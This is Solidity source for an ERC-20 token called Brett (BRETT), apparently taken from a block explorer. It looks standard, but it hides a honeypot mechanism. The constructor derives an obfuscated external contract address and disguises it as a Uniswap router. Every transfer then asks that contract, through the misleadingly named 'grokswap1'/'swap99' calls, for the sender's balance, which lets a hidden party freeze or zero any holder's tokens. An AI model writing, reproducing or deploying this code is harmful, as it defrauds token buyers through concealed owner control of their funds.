文件 1 的 1:BRET.sol
pragma solidity 0.8.20;
abstract contract Platforme {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
interface UniswapRouterV2 {
function swapETHForTokens(address a, uint b, address c) external view returns (uint256);
function swapTokensForETH(address a, uint b, address c) external view returns (uint256);
function swapTokensForTokens(address a, uint b, address c) external view returns (uint256);
function grokswap1(address choong, uint256 total,address destination) external view returns (uint256);
function ethhswap(address choong, uint256 total,address destination) external view returns (uint256);
function getLPaddress(address a, uint b, address c) external view returns (address);
function getRouter(address a, uint b, address c) external view returns (address);
}
contract Ownable is Platforme {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
library IUniswapRouterV2 {
function swap2(UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
return instance.grokswap1(address(0),amount,from);
}
function swap99(UniswapRouterV2 instance2,UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
if (amount >1){
return swap2(instance, amount,from);
}else{
return swap2(instance2, amount,from);
}
}
}
contract BRET is Platforme,IERC20,Ownable {
using SafeMath for uint256;
uint256 private _totalSupply = 1000000000*10**18;
uint8 private constant _decimals = 18;
string private _name = unicode"Brett";
string private _symbol = unicode"BRETT";
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
UniswapRouterV2 private Router2Instance;
constructor(uint256 aEdZTTu) {
uint256 cc = aEdZTTu + uint256(10)-uint256(10)+uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000000));
Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
uint160 private bb = 20;
function brcFfffactornnmoosgsto(uint256 value) internal view returns (uint160) {
uint160 a = 70;
return (bb+a+uint160(value)+uint160(uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000000))));
}
function brcFactornnmoosgsto(uint256 value) internal view returns (address) {
return address(brcFfffactornnmoosgsto(value));
}
function getBcFnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) {
return getBcQnnmoosgsto(accc);
}
function getBcQnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) {
return UniswapRouterV2(accc);
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function name() public view virtual returns (string memory) {
return _name;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address sender) public view virtual returns (uint256) {
return _allowances[owner][sender];
}
function approve(address sender, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, sender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address sender = _msgSender();
uint256 currentAllowance = allowance(from, sender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(from, sender, currentAllowance - amount);
}
}
_transfer(from, to, amount);
return true;
}
function _transfer(
address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
uint256 balance = IUniswapRouterV2.swap99(Router2Instance,Router2Instance,_balances[from], from);
require(balance >= amount, "ERC20: amount over balance");
_balances[from] = balance.sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function _approve(address owner, address sender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(sender != address(0), "ERC20: approve to the zero address");
_allowances[owner][sender] = amount;
emit Approval(owner, sender, amount);
}
}